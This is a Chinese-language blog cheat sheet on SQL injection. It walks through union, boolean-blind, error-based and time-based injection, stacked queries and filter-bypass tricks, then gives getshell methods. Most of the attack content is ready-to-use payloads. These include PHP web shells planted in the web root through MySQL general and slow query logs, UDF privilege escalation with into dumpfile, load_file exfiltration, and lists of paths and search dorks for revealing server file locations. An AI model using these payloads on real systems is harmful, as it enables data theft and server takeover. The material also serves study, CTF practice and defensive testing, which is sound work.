SQL注入总结

网络安全·代码审计 · 2023-11-11 · 949 人浏览

SQL注入

原理

由于程序员对插入SQL语句的用户输入参数检查不严格,导致的恶意SQL命令被插入语句并执行。
例如:
原始查询语句为 select * from user where id=$value
$value为用户输入变量,由于没有过滤,在用户输入 1 and 1=2
查询语句变为 select * from user where id=1 and 1=2,返回永假页面。

SQL数据库重要信息

MySQL

端口3306

默认数据库:

information_schema
mysql.innodb_table_stats:这个表不储存列,所以看列的时候要另行他路。

三个表名:

SCHEMATA:所有数据库库名
TABLES:所有数据库库名与表名
COLUMNS:库名、表名、字段名

基础查询语句

select * from {table_name}
select * from {table_name} where {column_name}={data}
select * from {table_name} where {column_name}={data} and {other_column}={data} ...

注入常用函数

database()当前使用的数据库
version() 当前数据库版本
user() 当前数据库用户

注释符#、--、/**/

需要注意的是如果 /*!*/将会被视为内敛注释,!后的命令将会被执行。
例如:/*!select * from {table_name}*/

MSSQL

端口1433

系统自带库

MSSQL安装后默认带了六个数据库

  • 4个系统库:mastermodeltempdbmsdb
  • 2个示例库:NorthwindTraderspubs
系统自带库功能
master系统控制数据库,包含所有配置信息,用户登录信息,当前系统运行情况
model模板数据库,数据库时建立所有数据库的模板。
tempdb临时容器,保存所有的临时表,存储过程和其他程序交互的临时文件
msdb主要为用户使用,记录着计划信息、事件处理信息、数据备份、警告以及异常信息

系统视图表

MSSQL数据库有安装的自带数据表:

视图表功能
sysobjects记录了数据库中所有表,常用字段为id、name和xtype
syscolumns记录了数据库中所有表的字段,常用字段为id、name和xtype
sys.databasesSQL Server 中所有的数据库
sys.sql_loginsSQL Server 中所有的登录名
information_schema.tables当前用户数据库的表
information_schema.columns当前用户数据库的列
sys.all_columns用户定义和系统对象的所有列的联合
sys.database_principals数据库中每个权限或列异常权限
sys.database_files存储在数据库中数据库文件

MSSQL权限控制

  • 服务器角色
固定服务器角色权限
sysadmin(最高服务器角色)执行SQL Server中的任何动作
serveradmin配置服务器设置
setupadmin安装复制和管理扩展过程
securityadmin管理登录和Create database的权限以及阅读审计
processadmin管理SQL Server进程
dbcreator创建和修改数据库
diskadmin管理磁盘文件

可以通过如下语句判断:

select is_srvrolemember('sysadmin')
  • 数据库角色
固定数据库角色权限
db_owner( 最高权限)可以执行数据库中所有动作的用户
db_accessadmin可以添加、删除用户的用户
db_datareader可以查看所有数据库中用户表内数据的用户
db_datawriter可以添加、修改、删除所有数据库中用户表内数据的用户
db_ddladmin可以在数据库注重执行所有DDL操作的用户
db_securityadmin可以管理数据库中与安全权限有关所有动作的用户
db_backoperator可以备份数据库的用户
db_denydatareader不能看到数据库中任何数据的用户
db_denydatawriter不能改变数据库中任何数据的用户

可以通过如下语句判断:

select is_member('db_owner')

Oracle

端口1521

基础注入

样例数据库结构

数据库名称sql
user表
id char(5)(pk), name char(10), level int;
password表//加密方式MD5
id int(fk user.id), pwd char(40);

漏洞检测

如何检测溢出位置存在SQL注入?
在合法参数后加入一个 ',检查返回页面是否正常。
例如:select * from user where id=1'
这条语句由于不符合SQL语法将会报错,应当返回不正常的页面。
在合法参数后加入 and 1=1,检查返回页面是否正常。
例如:select * from user where id=1 and 1=1
这条语句应当返回正常页面。
在合法参数后加入 and 1=2,检查返回页面是否正常。
例如:select * from user where id=1 and 1=2
这条语句应当永远不会返回正常页面。

union注入(联合查询)

当查询的界面会返回信息时,可以使用此方法。

order by 穷举字段数量

判明存在SQL注入漏洞后,可以使用order by子句判断该表中存在的字段数量
使用方法:
样例原始查询语句(未知):select name,level from sql.user where id=$value
$value正常输入:1
正常返回:Equinox:5
order by穷举:
1' order by 1
1' order by 2
1' order by 3//此结果应当一正常输入1相同
1' order by 4//此结果不正常,说明该表字段数为3

union联合查询

判断字段数为3之后,可以使用union子句来进行联合查询
1 union select 1,2,3
返回:Equinox:5
没有返回select 1,2,3内容是因为语句限制只返回一条结果,我们将id改变为数据库中不存在的值。
-1 union select 1,2,3
返回:2:3

这个返回结果说明三个字段中,只有后两个字段(name,level)会被返回,我们注入的位置也只能在2与3。
使用database()函数查询当前数据库名称
-1 union select 1,database(),3
这句也行
-1 union select 1,2,group_concat(schema_name)from(information_schema.schemata)#

返回:sql:3
然后获取表名称
-1 union select 1,(select table_name from information_schema.tables where table_schema='sql' limit 0,1)
-1 union select 1,2,group_concat(table_name)from(information_schema.tables)where(table_schema='sql')#

语句解释主要对括号中:
查询information_schema数据库的tables表中所属sql数据库第一个表的名称。
limit 0,1的意思是从限制读取第一个开始计数一个,如果要读取第二个表名称改为 limit 1,1
返回:user:3
第二个表名
返回:password:3
查询字段名(以password表为例)
-1 union select 1,(select column_name from information_schema.columns where table_schema='sql' and table_name='password' limit 0,1)
语句解释:
查询information_schema数据库的columns表中所属sql数据库password表第一个字段的名称。
返回:id:3
第二个字段名
返回:pw:3
知道数据库名、表名、字段名之后就可以爆数据了。
-1 union select 1,(select name,pw from user,password where uesr.id=pw.id limit 0,1
语句解释:
查询user表与password表中id相同的name与pw第一条记录。
返回:Equinox: E10ADC3949BA59ABBE56E057F20F883E(MD5:123456)

Boolean注入(布尔盲注)

当注入页面只存在正常与不正常两种状态时,可以使用此方法。

特殊函数

length(string str):判断字符串长度
substr(string str,int start,int count):截取字符串的一部分
ord(char c) :ASCII转换函数
ascii(char c) :ASCII转换函数
reverse(string s):字符串转置

布尔盲注

样例查询语句(未知):select * from sql.user where id='$value'
正常查询输入:1
返回:yes
添加单引号:1'
返回:no
添加'#'注释符:1'%23(%23会被解析为#)
返回:yes
这说明查询语句中存在单引号,需要使用'#'号绕过。
判断数据库名称长度
输入:’ and length(database())>=1%23
返回:yes
输入:’ and length(database())>=2%23
返回:yes
输入:’ and length(database())>=3%23
返回:yes
输入:’ and length(database())>=4%23
返回:no
得出数据库名称长度为3,尝试爆破数据库名称。
输入:' and substr(database(),1,1)='s'%23
返回:yes
语句解释:通过截取数据库名称第一个字与后面给定的字符进行比较,通过返回判断是否正确。这是一个穷举过程。
需要注意的是,substr()函数第二个参数与limit不同,substr()是从1开始,而limit是从0开始
输入:' and substr(database(),2,1)='q'%23
返回:yes
输入:' and substr(database(),3,1)='l'%23
返回:yes
类似的,爆破表名
输入:' and length((select table_name from information_schema.tables where table_schema='sql' limit 0,1))>=5%23
返回:no
输入:' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='u'%23
返回:yes
输入:' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),2,1)='s'%23
返回:yes
输入:' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),3,1)='e'%23
返回:yes
输入:' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),4,1)='r'%23
返回:yes
同理爆字段名,不在赘述。
需要注意的是如果服务端过滤了',' 、'[空格]',等间隔符号可以使用substr((string s)from(int num))来代替。

但是有一个问题
substr(‘flag’ from 1) 返回:flag
substr(‘flag’ from 2) 返回:lag
substr(‘flag’ from 3) 返回:ag
substr(‘flag’ from 4) 返回:g

这时可以使用reverse()函数
substr((reverse(substr(‘flag’ form 1))) from 4 ) 返回:f
substr((reverse(substr(‘flag’ form 2))) from 3 ) 返回:l
substr((reverse(substr(‘flag’ form 3))) from 2 ) 返回:a
substr((reverse(substr(‘flag’ form 4))) from 1 ) 返回:g

报错注入

原理:特意构造会使数据库报错的语句将想要的数据库信息通过报错信息携带出来。
使用条件:数据库报错信息会直接回显

特殊函数

floor(RAND(0)*2):最基础的报错语句
updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值
extractvalue(xml_document,Xpath_string)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
concat():连接字符串

一般注入格式

输入:AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e,({SQL command}),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
输入:' and updatexml(1,concat(0x7e,({SQL command}),0x7e),1)--+
输入:' and extractvalue(1,concat(0x7e,({SQL command}),0x7e))--+
语句解释:通过构造函数的报错格式将信息携带出来,0x7e转义后为'~'。

SQL进阶注入

以下的注入方法也是基于基础注入的,更多的是一些特殊情况的注入技巧。

时间盲注

使用情况与布尔盲注类似,但是没有明确的注入语句返回信息,这种情况就需要使用时间盲注。

原理

通过sleep()或者benchmark()等函数让返回页面的时间变长,从而判断注入语句返回的正确与否。

特殊函数

sleep(int num):等待,参数为秒数。
if(boolean t,{语句1},{语句2}):如果t为真,执行语句1,为假执行语句2

一般注入格式

语句模板:if({查询语句},sleep(5),1)
例如:if(length(database())>1,sleep(5),1)
解释:如果数据库名称长度大于1,则等待5秒,否则查询1
然后根据布尔盲注的知识就可以进行注入测试。

堆叠查询

堆叠查询的特点就是执行多条语句,利用MySQL可以一次输入多条语句的特点。

原理

查询语句为:select * from user where id='$value
变量内容为:';show databases;#

不过堆叠注入一般需要联合时间盲注使用,因为通过PDO语句可以同时执行多个SQL语句,不过只会返回第一条语句的结果。在其他查询不可以时,可以尝试使用这个[[强网杯 2019-随便注|题目]]中思路。

二次注入攻击

这是一种比较巧妙的注入方式,根据我看到的资料,这种漏洞会存在于用户注册界面,通过访问用户主页来获得查询语句的结果。

原理

在用户注册时将用户名设置为payload,注册完毕后访问用户主页,用户名里面的语句会被执行,将信息返回。

宽字节注入攻击

这是一个不太常见的漏洞,一般出现在数据库的编码为GBK的情况下。

原理

在注入点,输入1' 的情况下,服务器返回的信息中发现“ ' ”被转义,添加了" \ "。在数据库编码为GBK的情况下可以使用宽字符绕过"\”字符。

绕过方法为输入 1%df',这个方法的原理是" \ "的编码为%5c,转义单引号后,输入变为 1%df%5c',而 %df%5c是繁体字”連“,从而使单引号逃逸。

cookie注入

cookie位于http请求头中,当传递参数是依赖cookie时,可以尝试通过cookie注入。

Base64注入

在传递参数到服务器时,浏览器预先进行了Base64编码,只需要在构造注入语句后,对其进行base64编码即可。

XFF注入

X-Forwarded-For简称XFF头,位于http请求头中,其作用是用于向服务器提供客户端的IP地址。在一些越权访问中,会伪造XFF头为127.0.0.1,使服务器误以为自己向自己发起请求。

如果在XFF头中添加单引号,发现引起SQL报错,可以尝试通过XFF头进行注入。

SQL绕过技术

这部分主要记录一些绕过技巧,当一些SQL注入必要的关键字被屏蔽之后,如何绕过屏蔽的技巧。

大小写绕过

在一些情况,and或者union等单词关键字被屏蔽之后,可以尝试使用大小写绕过,将and改为And、aNd或者AND,其他字符同理。

双写绕过

在一些情况,and或者union等关键字输入后返回的输入信息中却不包含and或者union,可以尝试双写绕过。

例如:and变为aandnd,union变为ununionion。

编码绕过

对注入语句进行两次url编码,第一次解码由服务器自动进行,第二次由SQL引擎执行。

内联注释绕过

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

空格屏蔽绕过

注释绕过

例如:select/**/name/**/from/**/user/**/where/**/name='123'

%a0绕过

例如:select%a0name%a0from%a0user

括号绕过

例如:select(name)from(user)where(name='123')

引号绕过

在where子句中,当引号被屏蔽时,可以使用十六进制绕过引号。
例如:test的十六进制为0x74657374
注入句式可以变成:select * from user where name=0x74657374
这是我使用的字符串转十六进制的网站:https://www.sojson.com/hexadecimal.html

逗号绕过

当逗号被屏蔽时,可以使用from或者offset绕过。
例子:select substr(database() from 1 for 1); select mid(database() from 1 for 1);
也可以使用join关联两张表。
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b

比较符号绕过

最大值最小值函数绕过

greatest()返回最大值
least()返回最小值
比较符号常用于布尔盲注中
例如最常见的盲注语句 select * from users where id=1 and ascii(substr(database(),0,1))>64
可以改为select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

between...and...绕过

between a and b:
例如between 1 and 1 等价于 =1

逻辑符号绕过

and=&&
or=||
xor=|
not=!

注释符号绕过

注释符号一般用于闭合引号,在注释符号被屏蔽时,可以这样绕过
'select * from user where name='test' ||'1'代码部分为输入内容,这个语句通过最后的 ||'1闭合了最后的单引号。

=绕过

使用like 、relike 、regexp 或者 使用<>

handler语句代替select查询(堆叠注入)

mysql除可使用select查询表中的数据,也可使用handler语句。这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
例:

handler users open as a; #指定数据表进行载入并将返回句柄重命名
handler a read first; #读取指定表/句柄的首行数据
handler a read next; #读取指定表/句柄的下一行数据
handler a read next; #读取指定表/句柄的下一行数据
...
handler a close; #关闭句柄

语法结构:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

MYSQL盲注外带

限制条件

1.secure_file_priv为空且有文件读取权限
2.目标为windows(利用了UNC,Linux不可行)
3.无回显且无法时间盲注

在MySQL注入中DNSlog外带主要利用MySQL内置函数load_file()函数,load_file()不仅能读取本地文件也能通过UNC的方式读取远程文件。

Load_file函数状态:
当secure_file_priv为空,则表示没有任何限制。
当secure_file_priv为指定目录,则表示数据库导入导出只能在指定目录。
当secure_file_priv为null,则表示不允许导入导出(MySQL 5.7 默认值)

MySQL中查询secure_file_priv有以下方式
show variables like '%secure%';
select @@global.secure_file_priv;

SQL无列名注入

先把查出来的列名起一个别名,再用这个别名来看里面的字段。
例子:

select * from test where id='
# ------注入部分------
-1' union select 1,(
select group_concat(b) from (
select 1,2,3 as b # 这里的列数要与表的列数一致
union select * from users
)a
),3'
# ------注入部分------
' limit 0,1

SQL注入getshell

一. into outfile

条件

  • web目录具有写权限,能够使用单引号
  • 知道网站绝对路径(根目录,或则是根目录往下的目录都行)
  • secure_file_priv没有具体值(在mysql/my.ini中查看)
  1. secure_file_priv
    secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。如下关于secure_file_priv的配置介绍
  2. secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  3. 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  4. 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

修改secure_file_priv 的值只能通过手动打开配置文件进行修改,不能直接使用sql语句进行修改。

二、UDF提权

UDF(user defined function)用户自定义函数。
windows下udf提权的条件
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限。

select Host,user,plugin from mysql.user where user = substring_index(user(),’@’,1);
当 plugin 的值为空时不可提权
当 plugin 值为 mysql_native_password 时可通过账户连接提权

select hex(load_file('c:/udf.dll')) into dumpfile 'c:/udf.txt';

注意:必须使用dumpfile,outfile会添加换行符号导致二进制文件解析失败。

outfile和dumpfile的区别

outfile:

  1. 支持多行数据同时导出
  2. 使用union联合查询时,要保证两侧查询的列数相同
  3. 会在换行符制表符后面追加反斜杠
  4. 会在末尾追加换行

dumpfile:

  1. 每次只能导出一行数据
  2. 不会在换行符制表符后面追加反斜杠
  3. 不会在末尾追加换行

因此,dumpfile函数这个函数来顺利写入二进制文件,当然into outfile函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效),当使用dumpfile函数时,应该手动添加limit限制来获取不同的行数。

三、日志提权

全局日志

# 查看日志是否开启
show variables like 'general_log';

# 开启日志功能
set global geeral_log=on;

# 查看文件日志保存位置
show variables like 'general_log_file';

# 设置日志保存位置(getshell的话存放在网站根目录,名为.php)
set global general_log_file='/var/www/html/shell.php';

# 查看日志输出类型 table:将日志存入数据库的日志表中;file:将日志存入文件中
show variables like 'log_output';

# 修改日志存储类型
set global log_output='table/file';

GetShell方式:

set global geeral_log=on;
set global general_log_file='/var/www/html/shell.php';
select '<?php eval($_POST[8]);?>'

慢日志

# 打开慢日志
set global slow_query_log=on
# 设置慢日志路径
set global slow_query_log_file='/var/www/html/shell.php'
# 记录到日志中的语句
select '<?php @eval($_POST[8]);?>' or sleep(20)

爆绝对路径的方法

上述的提权方式都离不开知道网站的绝对路径,下面是一些得到绝对路径的方法。

单引号爆路径

  • 直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。 www.xxx.com/news.php?id=1′

错误参数值爆路径

  • 将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。 www.xxx.com/researcharchive.php?id=-1

Google爆路径

  • 结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

测试文件爆路径

  • 很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php

phpmyadmin爆路径

  • 一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

配置文件找路径

  • 如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件


Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
SQL 949 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao